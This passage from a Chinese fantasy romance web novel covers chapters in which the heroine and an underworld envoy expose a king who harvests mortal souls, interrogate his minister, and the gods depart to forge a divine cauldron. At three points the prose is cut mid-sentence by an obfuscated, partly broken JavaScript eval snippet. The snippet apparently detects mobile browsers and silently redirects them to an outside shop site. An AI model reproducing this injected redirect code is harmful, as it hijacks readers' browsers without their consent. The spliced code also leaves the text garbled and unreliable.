外面的嘈杂声越来越大,侍卫之间议论的声音不休,怕是已经发现了殿中的异常。 徒留无益,珞瑶吹灭烛台,就准备抽身离去,这时候,身后响起了男人的声音:“你就这么走了,让我顶罪?” 他看破了珞瑶的意图,语调却不见恼怒,懒洋洋的。 珞瑶脚步微顿,回过头,看见他屈起一条腿倚在“笼子”里面,姿态从容。 男人啧声感慨:“我初上任不久,今日特地前来拜见上司,谁知被上司不由分说打了一顿,现在还要当替罪羊,实在是……” 男人慢吞吞站直身体,珞瑶先是一怔,旋即意识到什么,“你是——” 他唇边勾起笑意。 灵阵生效的时间将至,化成的铁笼渐渐消散了,男人走到珞瑶对面,右手放于胸前,单膝跪地向她行礼。 “冥界圣使炎庚,见过圣女。” 他抬起头,那双红眸映在黑暗里,如炽烈的火,“殿下,别来无恙。” 他身后,剑齿白虎的真身在空中若隐若现,化作一道虚影。 原先从未联想起过的记忆涌入脑海,一刹间,珞瑶的心绪恍然澄明了,“是你。” 圣使是他,先前她救回澜渊的白虎,原来也是他。 外面遥遥传来一声重响,侍卫们意识到不对,已经破门而入了。 界主殿宽阔,暗室离殿门还有一段距离,炎庚道:“你先走,有我在,他们不会怀疑你。” 珞瑶方才走得干脆,但眼下迟疑了,毕竟如他所说,圣境使者是她的手下,她是他的上峰。 炎庚看出她的纠结,勾唇道:“上次不告而别,还没谢过圣女的救命之恩,这次就让你的新下属出手,帮你收一次尾。” 按照惯常,各界圣使均出自本族,该以本族利益为先,今日炎庚目睹了一切,也不知为何会向着她,还为她打掩护。 珞瑶心有疑虑,但现在不是追问这些的时候。侍卫的气息已经越来越近,她做好了打算,几步撤出暗室,自大殿侧门离开。 银朱色的女官衣袍很快消失在了转角处,炎庚收回目光,转向一边沉睡着的锡蛇。 “看来只有靠你了。” 他意味不明道,露出了一个唯恐天下不乱的笑容。 须臾功夫,手持刀剑的侍卫出现在不远处,正向这边匆匆赶来,炎庚抬起手,掌中聚起一团熊熊的火焰,重重掷向锡蛇! 剑齿白虎体内的至烈之火,若烧到身上,足以使任何兽类受惊发狂。 果不其然,锡蛇立刻被惊醒了。它尖啸一声,庞大的身躯在移动中撞毁了四周的木架,疯狂向暗室外冲去。 18. 晴光业火(九) 界主殿发生了怎样的动乱,另一边还不知情。永德台上歌舞未歇,宾主尽欢,伯池坐在主位,举着酒盏一一向宾客回敬,自然地说着客套话。 无论从何处看,这场寿宴都是极为体面的。 各界早已提前送来了寿礼,但个人的心意又是另外一回事,酒过三巡,不少德高望重的长老又拿出了一份自己的贺礼,宫人侍候在旁,悉数收了起来。 神族居于上界,对冥界来说,今日二位神君能赏脸到场已是莫大的尊荣,自然不敢再奢求什么寿礼。 因此,侍从自然地垂首,轻步从羲洵和沧丞的席位行过,前者笑了笑,主动开口:“我们难得参加一次这样的宴会,怎能空手来?要是传出去,神山该被议论吝啬了。” 在场众人连声奉承,伯池也跟着陪笑,忙道“岂敢岂敢”,只见羲洵手一翻,一把长刀便出现在了他掌心,极寒玄铁制成的刀鞘,上面刻有狼首,泛着锐利的寒光。 “朔月刀?!” 满座宾客都震惊不已,发出错落的惊呼声。 朔月刀乃是上古神器,已有数万年不曾现世,原来一直被收在神山。像这种级别的武器,各界的藏宝秘室里都找不出几件,也就只有神族能眼睛都不眨一下地拿出来送人了。 眼看着稀世珍宝就要落入他人手中,众人的艳羡达到顶峰,就连伯池自己都觉得受宠若惊。 沧丞将他们的反应尽收眼底,叮嘱道:“朔月刀一生只认一主,其主寿数越长久,它的法力就越强盛,冥王可要好好惜命,莫要辜负了它。” 伯池难掩喜悦,提起“寿数”,眼中奇异的光彩愈发突出,拱手向两人道谢:“多谢神君相赠!” 没过多久,乐声再起。 沧丞无心欣赏歌舞,随意地歪在席前,迎着满座悄无声息的目光,硬是演出了一种伤春悲秋的惆怅之感。 他拿着酒盏长吁短叹,与身旁的羲洵闲话,“世人皆以为神族翻手为云,覆手为雨,谁知本非如此……我怎么都没想到,有朝一日会对一盏灯求而不得。” 羲洵面上不显,衣袖下悄悄起了一身鸡皮疙瘩。 在座之人见状心中打鼓,但都想为神君分忧,“敢问是什么灯,让神君如此忧心?” “事已过去,就不必再提了。”羲洵摇了摇头。 “怎能不提?碧火台关系六界安危,若能晓谕天地最好,万一就找到了呢?” 沧丞反驳道,自然而然地接过话茬,把前几日羲洵和珞瑶来冥宫寻找归魂灯的事说了出来,至于缘由,自然还是提前商量好的“加固碧火台的禁制”。 了解了来龙去脉,众人纷纷议论起来,不过片刻就有人说话了,“这就是冥王的过失了,神君和圣女求归魂灯是办正事,你怎能藏着不给?难道区区一盏灵灯,还能有这朔月刀珍贵不成?” 伯池坐在主位,脸色微微发青,好像被戳中了秘密,没能立刻接话。 羲洵不着痕迹地收回目光,适时开口替他辩白,“非是冥王不给,是我们来迟一步,归魂灯意外丢失,早已下落不明了。” “原是如此……” 宾客们低声说着话,暗道伯池实在拎不清,却没想到事情是这样。 俄顷,议论声才缓缓消了下去,伯池的脸色也缓和了不少。 沧丞配合着羲洵,有模有样地叹了口气,对在座众人道:“日后诸位各在自己的族界,若何时发现了归魂灯的下落,可要记得来上界报个信,我等必有重谢。” 沧丞这招可谓高明,看似在向各界通气求助,其实是在向伯池施加压力。 现在,上界在找归魂灯已经成了众人皆知的事,伯池肯交出来最好,要是不肯,他们在冥宫搜出归魂灯之日,就是他声名扫地之时。 “这是自然。” 众人不疑有他,都一口应下。 席上推杯换盏,很快忘了这一桩小插曲,半柱香的时间过去后,永德台外突然传来一声巨响。 “轰——!” 众人不明所以,但都被吓了一跳,混乱间,殿外驻守的兵卫匆匆奔进来,附到伯池耳边禀报。 “王,不好了!暗室遭劫,锡蛇受惊发狂,破开殿门冲出来了!” 伯池脸色骤变,碍于满堂宾客在场,到底还是忍住了一腔怒气,低声问兵卫:“可有丢失之物?” 要知道暗室里藏着的都是冥界最珍贵的宝物,归魂灯也在里面。 兵卫连忙答话“未曾”,伯池暗暗松了口气,欲起身去查看情况,又生生顿住了脚步。 今日是冥宫的大日子,各界之人都在这里,倘若坦白,于冥族颜面有损,何况席面上还坐着两位大佛。 “让侍卫去追锡蛇,就算制服不住,也不许让它冲撞到这里来。” 伯池权衡再三,终于还是歇了亲自去追查的心思,但心里的怒火愈燃愈烈,恨不得将险些毁了寿宴的人千刀万剐。 他刻毒的目光似要吃人一般,“是谁闯进了暗室?” “是,是……” “说!” 兵卫吓得腿软,哆哆嗦嗦不敢吱声。 僵持之时,殿外响起一个张扬的男声:“我来迟了,想必冥王正在寻我。” 他的声音一下子吸引了所有人的注意,炎庚缓步入殿,依旧是那身银狐皮大氅,长长的银链上镶着细碎的宝石,虽然招摇,却不显得俗气。 “北漠将军炎庚,向诸位见礼了。” 他不疾不徐走上高台,稍稍一欠身。 实际上,这次的寿宴根本没有为他留席位,伯池没想到他会这么不识趣地露面,脸色阴了又阴,“你来做什么?” “自是因为有要事向王禀报。” 面对伯池明显不友好的反应,炎庚却不在意,还勾起个笑。 “臣入界主殿排查幽祟,不曾想遇上锡蛇发狂,撞破了暗室的机关,臣欲阻拦不成,无奈之下,唯有交给侍卫继续对付,亲自前来向王禀明这件大事。” 他说得冠冕堂皇,三言两语就将此事交代清楚,也将珞瑶参与过的痕迹掩藏得天衣无缝。 从炎庚出现在永德台上的那一刻开始,羲洵的状态就有了些许微妙的变化,望着中央那人从容回禀,握着酒盏的手指骨节无声泛起了白。 他从界主殿出来,珞瑶也在那里。 如果没有料错,他们两个应该已经见过面了。 沧丞注意到了羲洵的异样,低声唤:“羲洵,羲洵?” 羲洵闭了闭眼,默默调整自己的思绪,一贯平静温然的内心,此时竟然感到焦躁难抑。 宾客们没有注意到二神的举动,听了炎庚的话后微惊,纷纷出声问询关切。 伯池为保住颜面勉强挤出了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17213556|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个笑,宽慰众人道:“小事,小事,诸位不必忧心。” 事到如今,不派人出面是不行了,伯池不信任炎庚的一面之词,对下首的山羊胡大臣道:“楚卿,你去查。” 楚阴侯接到命令,很快起身告退,离开了高台。 “既如此,臣便协助阴侯前去了。” 炎庚一勾唇角,就欲离去,转身时,目光恰好与坐在首席的羲洵对上。 那双波澜不惊的清眸如一池静水,水底深处,却结了一层不易察觉的冰。 真是稀奇。 寂静的高台上,炎庚脚步停住,缓缓眯起了眼睛。 他居然从这位光风霁月的神君眼里看出了敌意。 …… 作为伯池手下最受信任的权臣,楚阴侯有权调动宫中禁卫,离开永德台后便立刻派遣禁卫营出动,全力追剿锡蛇。 重重殿宇间电光飞溅,檐角石柱被撞得摇晃,不时从远处传来巨蛇的长啸声。 楚阴侯虽掌权,却是个修为平平的文官,正欲随手下前往锡蛇所在之处时,被身后的声音叫住了。 “阴侯留步。” 炎庚走下一级级台阶,来到他面前,楚阴侯道:“炎将军说能协助我降服锡蛇,想来是胸有成竹。” 炎庚不置可否,却姿态坦然,“锡蛇的修为有限,阴侯派手下过去对付已是绰绰有余,何必亲自出马?反倒是你我久未谋面,也该叙叙旧了。” 楚阴侯暗暗诧异,心中也警惕起来,炎庚却像没有发觉一样,主动抛出橄榄枝,“这里人多眼杂,若阴侯肯赏脸,就请借一步说话吧。” 由于身份特殊,加之与冥王不和,炎庚极少与以楚阴侯为首的大臣们来往,如今却不知为何突然示好。 楚阴侯起初诧异,但很快就做好了权衡,爽快地答应了他的邀约,“炎将军,请。” …… 永德台不远处就有一座僻静的宫室,曾经用于祭祀之礼,但已经荒废了多年,无人驻守,最适合秘密商谈要事。 关上房门后,楚阴侯主动问道:“我记得炎将军鲜少入宫,这次无召归来,不知有何贵干?” “北漠大局安定,我回来向王禀报军情,何况,既然身担圣使要职,我便不该长时间滞留在边疆了。” 炎庚语气如常,不似从前桀骜,看上去倒真像诚心来叙旧的。 “圣使护佑四境安危,对冥界来说至关重要,将军既领此职,可定要尽心竭力才是。” “这是自然。” 楚阴侯满意地点头,心中更确定了“他此次是来投诚的”这一猜测,炎庚任其揣测,唇边始终留着一抹笑意。 房中没有点灯,全凭月色提供一丝亮光,好在冥族喜好夜行,从不惧怕黑暗。 吹灭了烛火,还怎么分辨是人是鬼? 两人虚与委蛇片刻,炎庚语调如常,悄然步入正题,“多年未曾听闻焰息山的消息,不知冥后可一切安好?现下风波平息,王也该把冥后接回宫中,好生休养。” 他没有拐弯抹角,话中的意思已经很明显。 楚阴侯只当作听不懂,笑道:“冥后近年来依旧神志不稳,怕是难了。” 微弱的月光下,炎庚低低嗤笑了一声。 下一秒,他突然出手,一只手掌裹挟着劲风,如铁钳般死死扼住了楚阴侯的咽喉! 19. 晴光业火(十) “你——” 楚阴侯没想到他翻脸如翻书,心下大惊,却说不出话,拼尽全力挣扎起来。 炎庚岿然不动,声音好像是从牙缝里挤出来的,“再敢侮辱我母亲一句。” 他不喜欢官场那套,也一向厌烦与人虚情假意地客套,方才不过是为了把楚阴侯骗到一个没人的地方,如今露出真面目,总算不用再费心遮掩了。 房门吱呀一响,珞瑶顺着炎庚留下的信号找到了这座宫殿的位置,进来时只听见了他的最后一句话,而后就目睹了这样一副剑拔弩张的场面。 珞瑶潜入这里时没有易容,走到炎庚身旁,“他说了什么?” 楚阴侯被勒得双眼翻白,凭着最后一丝意识认出了珞瑶,虽然震惊于她为何会出现在这里,但求生欲还是在“理智”的弦上占据了压倒性优势,本能地求救,“圣女!圣女救……” 炎庚手一松,楚阴侯瞬间如烂泥般软倒在地,一连咳嗽了好几声,之后又欲大声呼救,被炎庚粗暴地封住了嘴。 “嬴夫人是我的养母,三百年前伯池与她争权,以疯癫之名将她囚禁了起来,归魂灯,正是伯池从嬴氏夺来的法器。” 炎庚眼含戾气,回答道。 珞瑶想过他的身份不简单,却从未料到他会与嬴夫人有关系,不过,在知道这一消息后,先前让她疑惑的那些问题就都变得合情合理了。 比如,为什么炎庚与伯池不和、为什么炎庚会对归魂灯分外熟悉。 她欣然道:“我已经见过嬴夫人了,在来冥宫之前。” 这下轮到了炎庚惊讶,他短暂怔了一下,没过多久便将来龙去脉猜了个大半,“……怪不得,她又背着我行动了。” 他声音里掺杂着几分麻木的无奈,想发怒,却早已没了脾气。 炎庚一挥手,解开了楚阴侯的封口咒,后者从几句对话中听出了些许端倪,原来他们两个是一伙的! “你早就与澜渊串通好了!难怪你处心积虑要当圣使,难怪今日那两位神君贸然下界来,原来是图谋不轨,还在打归魂灯的主意——” 楚阴侯恼羞成怒,指着炎庚的鼻子,还口不择言地骂起了神族。 炎庚可没有那么好的脾气,不耐地踹了他一脚,“少废话!” 这一脚不算轻,楚阴侯闷哼一声,歪倒在地上,痛意过去后,仍盯着居高临下立在面前的男人,眼光怨毒。 “当时是你主动向王投诚,许诺只要当上圣境使者,此后便会效忠于王,与嬴氏恩断义绝……炎庚,你竟敢欺君!” 炎庚冷笑,面上全无愧疚之意,“那又怎么样?是你们太蠢,竟然真相信我会背叛自己的母亲。” 珞瑶望了望他,没有追问什么,毕竟这些都是冥族王室自己的矛盾,现任圣使是用什么手段登上的位置,事实上对她并不重要。 她目光移向楚阴侯,问出了那个最重要的问题:“伯池吸食平民魂魄以求长生,此事究竟是真是假?” 楚阴侯瘫在地上,面容正好被透入窗牖的月光照亮,让人看清了他面上一闪而过的慌乱。 他矢口否认:“无稽之谈!王一向勤政爱民,怎会做出如此有伤天和之事?” “那为何近百年冥界百姓频繁失踪,冤情不断却无处申冤?” “许是各城池治安出了岔子,王日理万机,偶有疏漏也是常情,圣女仅凭这点小事就怀疑我等,实在令人心寒!” 见他咬死不认,珞瑶道:“入冥宫前我已查过各州州志,确认了这些案情蹊跷,你最好说实话。” 炎庚蹲身下去,也跟着阴恻恻威胁,“你要是不说,我就把今日你见过我们的事传出去,你觉得伯池是会相信你,还是相信他自己的猜疑之心?你可别忘了,冥界不是只有伯池一个王,谁输谁赢尚未可知。” 人人都想活命,与利诱相比,双重的威逼有时更加有效,就比如现在。 楚阴侯被押在地上动弹不得,艰难地衡量着利害关系,最后还是识趣地选择了屈服。 “好……我说。” 宫殿远处,锡蛇与侍卫搏斗的巨响渐渐弱了下去,寂静又空旷的宫室里,沙哑的声音缓缓响起来。 “王听信民间术士的话,认为归魂灯可助他修成长生之术,只要吸食足够的魂魄,再亲身入归魂灯中固灵聚气,他就可以实现永生,如神明一样寿数恒长。 为了找到可供王吸食的‘材料’,我和一干下属在各处暗拐平民,有时也会潜入人间,斩杀那些贫贱者的肉身,将他们拉进冥界。” 即使珞瑶对此早有心理准备,依旧没想到伯池会草菅人命到如此程度,暗害冥界百姓还不够,竟将魔爪伸向了人间。 “伯池要多少?” “三十万。” 炎庚怒火难抑,再次对着地上的人狠狠给了一脚,这次除了撕心裂肺的惨叫,还有骨头断裂的声音,楚阴侯的肉身登时消散,化回了鬼魂。 三十万,一个万分骇人的数字。 如果将这三十万的目标分为一百年来完成,每年就有三千个生灵惨遭毒手,在伯池手中魂飞魄散。 珞瑶忍着情绪,命令道:“继续说。” 楚阴侯的修为在珞瑶和炎庚面前完全不够看,如今又断了腿,是无论如何也逃不出去了。 他脸色惨白如纸,满头都是冷汗,咬着牙继续坦白,“鬼市明道里有一个名叫尽欢楼的酒楼,背后的东家常与界主殿往来,我们都称他‘赶魂人’。每次收集够一定数量的魂魄,我们便将他们送去尽欢楼,由赶魂人将他们炼化纯净,再运回冥宫供王享用……” 那日他们在鬼市的岔路口见识过明道,看似坦荡的交易之地,原来背地里比暗道还要肮脏龌龊百倍。 一会儿冥宫,一会儿鬼市……这还真是一场布局周密的阴谋。 珞瑶讽刺地想着,脸色难看极了。 楚阴侯现在是真的怕了,拖着伤腿瑟缩在角落,没等她问起便主动开口:“今年的份例已经收集结束了,上个月刚送到尽欢楼,数量太多,赶魂人炼化他们还要一段时间。圣女若近日赶去,应该还有救下他们的机会……” 所谓炼化纯净的魂魄,其实就是抹去这些魂魄的心神,夺走他们的七情六欲,使他们变成一具没有自我意识的行尸走肉。 在冥界,绝大多数人是抱着回忆活着的,他们追怀人间的一草一木,思念阴阳两隔的至亲——这是他们死后投入冥界,继续以“鬼魂”的身份存活一世的精神支柱。 抹去心神,与杀了他们没有任何区别。 归魂灯就在冥宫里,随时都可以取,比起揭露伯池的恶行,救下那一批无辜百姓是现在更重要的事。 “今日的事,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215841|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以忘记了。” 珞瑶一手覆上楚阴侯的面目,灵气漫溢出来,不容拒绝地抽走了他的记忆。 她收回手,楚阴侯立刻晕倒在地上,没了意识。 炎庚看着她行云流水的动作,不由笑了一声,“圣女法力通天,要是当初救下我的时候也这样做,也许现在还能换一个更听话的圣使。” 珞瑶望了望他,道:“记忆是珍贵的,不该被掠夺,我只对恶人这样做。” 她走出房门,留炎庚独自站在原地,眼神微动。 只对恶人这样做,那他是什么……善人吗? 他活了上万年,还是第一次听见这样的评价。 …… 永德台上,寿宴已近尾声,东道主伯池明显心不在焉,难掩焦灼,时刻留意着外面的情况。 毕竟锡蛇是凶兽,倘若降服得不及时,损毁半个冥宫也未尝不可能。 宴会上歌舞依旧,但原先和谐安逸的气氛早已去了大半,好在这不是羲洵和沧丞应该在意的事。 没过多久,丹狸大摇大摆地出现在了门外,高扬着蓬松的尾巴,浑身上下都传达着一个信号:事办成了。 羲洵最先看到了它,手指在桌上轻点。 丹狸会意,仗着旁人都看不见它,十分优雅地信步而来。然而它没把控好时间,正从容地走到半路,余光却发现自己的两只前爪闪了闪,正从透明状缓缓变成实体—— 糟糕,幻术失效了! 丹狸瞬间破功,紧张得奓起了毛,好在羲洵反应够快,直接一伸手,将脚下打滑的狸奴捞进了臂弯。 “再淘气,我可不带你回沉泽宫了。”他低语,修长如玉的指节轻轻抚顺它的毛。 众人不明所以,还以为羲洵神君何时养了一只灵兽,却又觉得那团藏在他衣袖下的朱红色绒毛很是眼熟,仔细一瞧,倒是像极了澜渊圣境的丹狸。 羲洵神情自然,还带着几分无奈的纵容,有人探头张望,大着胆子问:“神君怀里的狸奴,好像是圣女的爱宠?” 放在以往,羲洵和珞瑶的关系一向是个禁忌话题,两人对待彼此的态度温和、有礼,但远远算不上亲昵,只剩下一个过时多年的婚约,还维系着他们之间不同于常人的羁绊。 今日跑上宴会的丹狸,万一是改变的信号呢? 众人的心思活泛起来,羲洵道:“珞瑶这些日子为加固禁制忙碌,一直留在碧火台上,便无暇陪它了。” 沧丞原本在一边看热闹,听后立马回过味来。羲洵没有正面回答,只说珞瑶事忙,但只这一句话,既彰显了他与珞瑶的亲近,又看似无意地说出了近日珞瑶的行踪,证明了一件事——圣女今日没有来过冥界,更没有踏足过冥宫。 他们不知道珞瑶那边进展如何,就算她一时不慎,在界主殿里留下了痕迹,现在有羲洵作保,谁又敢怀疑她头上去? 沧丞暗暗啧声,起哄已经到了嘴边,又赶紧咽了回去。 宾客们听不懂个中隐含的弯弯绕绕,但表层的意思也心领神会了,七嘴八舌地逢迎着。 羲洵眉眼柔和,没有再接话,心中却无比清楚:他之所以说那句话,的确是为了担保珞瑶不在场,除此之外,还有另外一个原因。 往事已矣,他以为自己可以做到淡然处之,但当炎庚露面之后,他心里的浮躁几乎止不住。 20. 白夜魂游(一) 为了掩人耳目,珞瑶和炎庚最先出了冥宫,在冥界都城外等候。 没过多久,纭姬闻讯而来,在看见炎庚的身影后,震惊地睁大了眼睛。 “少主,你怎么来了?” 她眸中迸发出惊喜,立马跪地行礼,“纭姬拜见少主!” “我既兼任圣使一职,自然该从北漠归来,谅伯池也不能说什么。” 炎庚让她起来,问:“一别多年,母亲近况如何?” 提起嬴夫人,纭姬喜色微敛,垂下了眸子,“夫人身体强健,只是常年被囚于焰息山,心情算不得好。” 炎庚有朝中嬴氏旧臣的拥戴,多年来一直在北漠掌兵,伯池忌惮他,因此也禁止他与嬴夫人见面,只要他踏上焰息山地界,消息就会立刻传进冥宫。 这个回答令炎庚不意外,可当亲耳听见自己母亲所受的苦难时,还是忍不住心头火起。 “我定让伯池付出代价。”他阴声道。 身为嬴氏族人,纭姬清楚他与嬴夫人母子一心,面露温情,“前段时日少主失踪,夫人听说后心急如焚,还好少主最后平安归来了。” 提起先前命悬一线的经历,炎庚目光移向珞瑶,“幸有圣女相救。” “原来如此……” 纭姬没想到两人之间还有这样一段渊源,微微一怔。 难怪听闻少主当时重伤难愈,如今时间过去不久,他却早已恢复如初,原来是受到了澜渊的救治。 片刻,两道明光划过天际,羲洵和沧丞离开了永德台,缓缓现身,丹狸懒洋洋地窝在前者肩头,倒是一点都不见外。 “神君。”纭姬屈膝行礼,不忘提醒炎庚,后者掩藏起锐利的眸色,随之低了低首。 沧丞不知炎庚为什么会出现在这里,但也只是多看了两眼,摆摆手免了他们的礼,羲洵则走到珞瑶面前,关切问:“阿瑶,一切可还顺利?” 珞瑶点了点头,看向他肩上的丹狸。 反常的是,某只猫没有像平时一样忙不迭跳回珞瑶怀里,依然赖在羲洵身上不动,玻璃珠似的瞳眸警惕地盯着她身后,还呲了呲牙。 珞瑶有所觉,朝背后一看,果然发现了一个似笑非笑的炎庚。 “……” 连总角孩童都觉得幼稚的小打小闹,她索性不理会,仍把丹狸“托付”给了羲洵。 炎庚先前没有参与他们的行动,但已在永德台上露过面,算是与羲洵和沧丞相识,正好此时人已到齐,珞瑶将楚阴侯招认出的供词悉数告知了几人。 纭姬听后最为激愤:“三十万条性命……伯池竟狠毒至此!” 羲洵紧皱着眉,面上的笑意也消失得无影无踪。 为了一己私欲,滥杀两界无辜生灵,伯池不但不配做界主,而且罪无可赦,理应被处以极刑,永世不得轮回复生。 珞瑶问纭姬:“关于‘赶魂人’,你知道多少?” “赶魂人来历神秘,没人见过他的真容,我没有同他打过交道,对尽欢楼的了解也不多,只知那里把控严苛,非冥族不可入。”纭姬道。 这些年,她在暗道呼风唤雨,但始终无法抛开对伯池的忌惮,因此刻意割断了不少与外界的联系,连经营纭楼时也遮掩着容貌和身份,同明道中诸多‘大人物’的来往也就更少了。 沧丞没去过鬼市,因此听得云里雾里,“何不直接潜进去探一探?” 纭姬摇头,答道:“怕是不妥。我曾听说过尽欢楼的结界,力量极其强盛,绝非寻常修为者可设,除非两位神君和圣女动用灵力强行破界,但若那样做,我们的行踪便要暴露了。” 这样说来,结界很有可能是冥宫的手笔,他们不愿打草惊蛇,就只有瞒过尽欢楼守卫的眼,从大门光明正大地走进去。 羲洵想了想,道:“今夜不妨休整一晚,明日……” “明日是炼化诛邪鼎的日子,你忘了?”沧丞忙说。 羲洵一怔,经沧丞提醒才想起。百密一疏,这段时日他一直在冥界,久而久之,连今夕何夕都要不记得了。 珞瑶望着他,开口道:“你去吧,我应付得来。” 从幽族不时穿过界壁、潜入界内的时候开始,神山就开始炼造神器诛邪鼎,为得是用神力使镇幽珠如虎添翼,以防范某日邪元之力彻底失控,危及六界安宁。 众神之中,羲洵修为最高,自然就成了主持此事的最佳人选。每到炼制诛邪鼎的时候,他便闭关不出,引天雷与神力一同熔炼,再加以温养,使之转化为神器的能量。 “我会尽快回来。” 羲洵终是松口,叮嘱珞瑶,“要是遇到困难,莫要强撑,记得向神山传音。” 珞瑶点点头。 其实放眼整个冥界,也就只有伯池和嬴夫人能与她一战,那赶魂人如何手眼通天,也不至于对她造成威胁。 这点自信,她还是有的。 炼制诛邪鼎需要消耗大量神力,众神缺一不可,羲洵和沧丞都要回去,所以能跟随珞瑶同去鬼市的,就只有纭姬和炎庚。 羲洵只觉得心中像有一团火,烧得他思虑焦灼,但他没有显露出来,告别了珞瑶,随后与沧丞一道化作烟云,乘风而去。 …… 两人回到神山时,银盘般的满月已经挂上林梢,拨开云雾,隐约能看见下界繁华的灯景。 羲洵身后,千寻瀑水势汹涌,他在青崖间远眺,一时未语。 “你久久不归,我还以为你要永远留在冥界了。” 一道不冷不热的声音自他身后响起,羲泠不知何时出来了,怀里抱着一把琴。 羲洵岂会听不出她话里的讽意,如果在从前,他还能斥她一句“没大没小”,但如今同在神位,他们之间的关系已不能再用单纯的“兄妹”来衡量了。 于是,羲洵只是望了望她,“若镇幽珠长久地衰弱下去,你就能安心了吗?” 看似是反问,其实他心里早已有了答案。他当然知道,羲泠表面冷漠,这些日子却独自跑遍了整个仙界,只为寻找挽救镇幽珠的办法。 心中只有一己私欲的人,做不到飞升登神。 羲泠不说话了。 过了许久,她才低低开口:“归魂灯,找到了吗?” “就在伯池的界主殿,珞瑶已经确认了,有她在,相信不会出差池。” 羲洵说道,不料羲泠突然抬起头,满面强忍的气愤,“那你呢,你就一点功劳都没有吗?” 羲洵怔了怔,不禁有些无奈,“阿泠,你……” 他想说不要总是钻牛角尖,羲泠胸口起伏,这次却忍住没有和他吵,愤然别开了眼睛,“我希望这世间看见你的付出,但你好像只喜欢背负过错。” 她鲜少这般直率地表达自己心中的想法,羲洵听了,心里生出几分哭笑不得的复杂,又难以自禁地感到动容。 他微微弯下腰,与她纠结的目光平视,认真道:“这不算付出,更非过错。既然已经做出选择,那么,它就是我甘之如饴的责任。” 羲泠嘴唇微动,还想说什么,到底没有说出话来。 责任吗? 可每个神明的责任,都应该是同等的。 羲泠清楚自己无论如何都说服不了他,不再与他理论什么,临走时停下脚步,轻声留下一句话。 “明日我一直在,如果有事,记得打开沉泽宫的结界。” 说完,她便转身离去。 不一会儿功夫,沧丞和朝梧过来了,和羲洵一起在崖边吹风,有一搭没一搭地寒暄。 朝梧早从沧丞口中听说了今日冥界发生的事,看羲洵的眼光不由带上了几分促狭,揶揄道:“以前我们几个里最周全的就是你,有关诛邪鼎的事,你从来没有疏忽过,谁知这次和珞瑶在一起,你就魂不守舍起来……” 沧丞插嘴:“不对啊,又不是第一次见珞瑶,往常他也不会这样的。” 朝梧:“那是为什么?” 两位神君旁若无人,当着羲洵的面窃窃私语起来。 羲洵脸色有些不自然,别开了目光,沧丞却不给他逃避的机会,直接问了出来:“是谁影响了你,那个新圣使?” “……” 今日要是不说出点所以然,他怕是走不了。 羲洵到底是屈服了,道:“炎庚是嬴夫人的养子,也算半个嬴氏后人。” 沧丞确实不知道此事,但听过就过了,也没有感到太惊讶,“这和你魂不守舍有什么关系?” 神山远离尘世,虽然宁静,但日复一日过去,亦是漫长而寂寞的,水神沧丞骨格清奇,平常没什么爱好,除了精于棋术,便是各界八卦最为灵通了。 冥界嬴夫人收了一个养子的事,他好像也听说过,但早忘了是什么时候发生的,只隐约记得,传闻中那个养子天资不凡,原身是高阶灵兽……什么灵兽来着? 剑齿白虎。 沧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17221799|197243||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 丞漫不经心地想着,一瞬间大脑放空,如遭雷劈般瞪大了眼。 之前被珞瑶救下的那个不也是剑齿白虎吗? 起初沧丞还不确定,转眼对上羲洵平静得没有波澜的目光,便是不信也得信了。 怎么还真叫他说中了…… 沧丞硬着头皮找补,试图“安慰”,“珞瑶什么样的人没见过?你还是莫要多虑……” 神族存在至今,除了上古时的三位创世神,其他都是历尽万险才从各界飞升上来的。他们有血肉之躯,相比自己,他们更在乎世间的生灵万物,但也有感知情与爱的能力,也会感到忧虑和不安。 起初,忧虑只是忧虑,可若忧虑的事并非捕风捉影,而是早就真实发生过一遍,就成了注定难以摆脱的心魔。 羲洵一直都知道,他与珞瑶之间的羁绊是以天降婚约作起始的。如今,万年时光已逝,他心甘情愿被婚约框在原地,可她未必也是如此。 对她来说,这一道婚约也许什么都算不上,只是一种无用的束缚。 这对她不公平。 羲洵常常这样想,有时也隐隐生出想要放手的念头,然而理智与情感背道而驰,真到了抉择的时候,他却无论如何都做不到。 片刻时间过去,天色更暗,天边明月的轮廓却越发显得大而圆满,昭示着月神的力量已经达到了顶峰。 羲洵收起心绪,轻轻笑了一下,转而道:“时间差不多了,去神坛吧。” 按照惯例,众神会依托月华提前施展术法,将各自的神力集于一体,最后再交由羲洵,由他引来雷电的力量炼化神器。 神坛上,包括羲泠在内的其他几位神明已在等候。震天撼地的风雷之声里,神坛禁制激活,众神归位,真身齐现,分别在他们身后显露出巨大的的法相金光。 